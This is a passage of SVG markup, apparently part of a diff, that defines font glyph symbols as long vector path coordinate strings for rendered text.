3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 1.15625 -12.515625 C 1.550781 -12.609375 1.984375 -12.675781 2.453125 -12.71875 C 2.929688 -12.757812 3.375 -12.78125 3.78125 -12.78125 C 4.25 -12.78125 4.691406 -12.722656 5.109375 -12.609375 C 5.535156 -12.492188 5.90625 -12.300781 6.21875 -12.03125 C 6.53125 -11.757812 6.78125 -11.40625 6.96875 -10.96875 C 7.15625 -10.53125 7.25 -9.976562 7.25 -9.3125 C 7.25 -8.320312 7.039062 -7.523438 6.625 -6.921875 C 6.207031 -6.316406 5.65625 -5.910156 4.96875 -5.703125 L 5.65625 -5.046875 L 8.140625 0 L 6.578125 0 L 3.859375 -5.515625 L 2.515625 -5.78125 L 2.515625 0 L 1.15625 0 Z M 2.515625 -6.6875 L 3.59375 -6.6875 C 4.28125 -6.6875 4.820312 -6.894531 5.21875 -7.3125 C 5.613281 -7.738281 5.8125 -8.382812 5.8125 -9.25 C 5.8125 -9.90625 5.644531 -10.453125 5.3125 -10.890625 C 4.988281 -11.328125 4.5 -11.546875 3.84375 -11.546875 C 3.601562 -11.546875 3.351562 -11.535156 3.09375 -11.515625 C 2.832031 -11.492188 2.640625 -11.46875 2.515625 -11.4375 Z M 2.515625 -6.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 6.75 3.609375 L 5.453125 3.609375 L 5.453125 -0.734375 L 5.375 -0.734375 C 5.1875 -0.429688 4.941406 -0.195312 4.640625 -0.03125 C 4.347656 0.132812 3.96875 0.21875 3.5 0.21875 C 2.550781 0.21875 1.84375 -0.160156 1.375 -0.921875 C 0.90625 -1.691406 0.671875 -2.878906 0.671875 -4.484375 C 0.671875 -6.035156 0.976562 -7.207031 1.59375 -8 C 2.207031 -8.789062 3.097656 -9.1875 4.265625 -9.1875 C 4.765625 -9.1875 5.242188 -9.125 5.703125 -9 C 6.160156 -8.882812 6.507812 -8.765625 6.75 -8.640625 Z M 5.453125 -7.71875 C 5.117188 -7.914062 4.644531 -8.015625 4.03125 -8.015625 C 3.40625 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.6875 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.515625 2.109375 -3.078125 C 2.171875 -2.648438 2.269531 -2.273438 2.40625 -1.953125 C 2.550781 -1.640625 2.734375 -1.394531 2.953125 -1.21875 C 3.171875 -1.039062 3.445312 -0.953125 3.78125 -0.953125 C 4.238281 -0.953125 4.597656 -1.082031 4.859375 -1.34375 C 5.117188 -1.613281 5.316406 -2.003906 5.453125 -2.515625 Z M 5.453125 -7.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 